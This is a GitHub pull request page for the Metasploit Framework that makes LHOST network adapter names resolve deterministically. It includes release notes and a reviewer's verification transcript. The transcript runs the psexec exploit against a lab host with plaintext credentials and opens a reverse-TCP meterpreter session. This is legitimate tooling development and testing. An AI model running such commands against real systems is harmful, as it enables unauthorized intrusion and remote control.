Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

Ensure datastore network adapter names are consistently resolved #18298

Conversation

adfoster-r7
Copy link
Contributor

@adfoster-r7 adfoster-r7 commented Aug 18, 2023

Ensure datastore network adapter names are consistently resolved when using adapter names in modules, i.e. set LHOST eth0. Now the lowest ordinal IPv4 addresses are preferenced first, followed by IPv6 addresses. Previously this was a non-deterministic address.

Alternative implementation to #14530

Verification

  • Verify CI passes
  • Verify running a module with LHOST as an adapter name continues to work

@adfoster-r7 adfoster-r7 force-pushed the ensure-datastore-network-adapter-names-are-consistently-resolved branch from 42d519d to da3ef0a Compare August 20, 2023 23:22
@smcintyre-r7 smcintyre-r7 self-assigned this Aug 23, 2023
@smcintyre-r7
Copy link
Contributor

Changes look good, the adapter name is still working and the tests have passed. I'll merge this in a moment.

msf6 > use exploit/windows/smb/psexec 
set RHOSTS 192.168.159.[*] No payload configured, defaulting to windows/meterpreter/reverse_tcp
msf6 exploit(windows/smb/psexec) > set RHOSTS 192.168.159.10
RHOSTS => 192.168.159.10
msf6 exploit(windows/smb/psexec) > set SMBUser smcintyre
SMBUser => smcintyre
msf6 exploit(windows/smb/psexec) > set SMBPass Password1!
SMBPass => Password1!
msf6 exploit(windows/smb/psexec) > set LHOST ens37
LHOST => ens37
msf6 exploit(windows/smb/psexec) > run

[*] Started reverse TCP handler on 192.168.159.128:4444 
[*] 192.168.159.10:445 - Connecting to the server...
[*] 192.168.159.10:445 - Authenticating to 192.168.159.10:445 as user 'smcintyre'...
[*] 192.168.159.10:445 - Selecting PowerShell target
[*] 192.168.159.10:445 - Executing the payload...
[+] 192.168.159.10:445 - Service start timed out, OK if running a command or non-service executable...
[*] Sending stage (175686 bytes) to 192.168.159.10
[*] Meterpreter session 1 opened (192.168.159.128:4444 -> 192.168.159.10:49852) at 2023-08-23 09:06:19 -0400

meterpreter > 

@smcintyre-r7 smcintyre-r7 merged commit 091c072 into rapid7:master Aug 23, 2023
60 checks passed
@smcintyre-r7
Copy link
Contributor

smcintyre-r7 commented Aug 23, 2023

Release Notes

Changes the behavior of setting LHOST as an interface name, for example with set LHOST eth0. Previously a non-deterministic IP would be resolved from the adapter name if the adapter had multiple IPv4/IPv6 addresses registered. Now the lowest ordinal IPv4 addresses is preferenced first, followed by any IPv6 addresses.

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
Labels
easy library rn-fix release notes fix
Projects
None yet
Development

Successfully merging this pull request may close these issues.

None yet

2 participants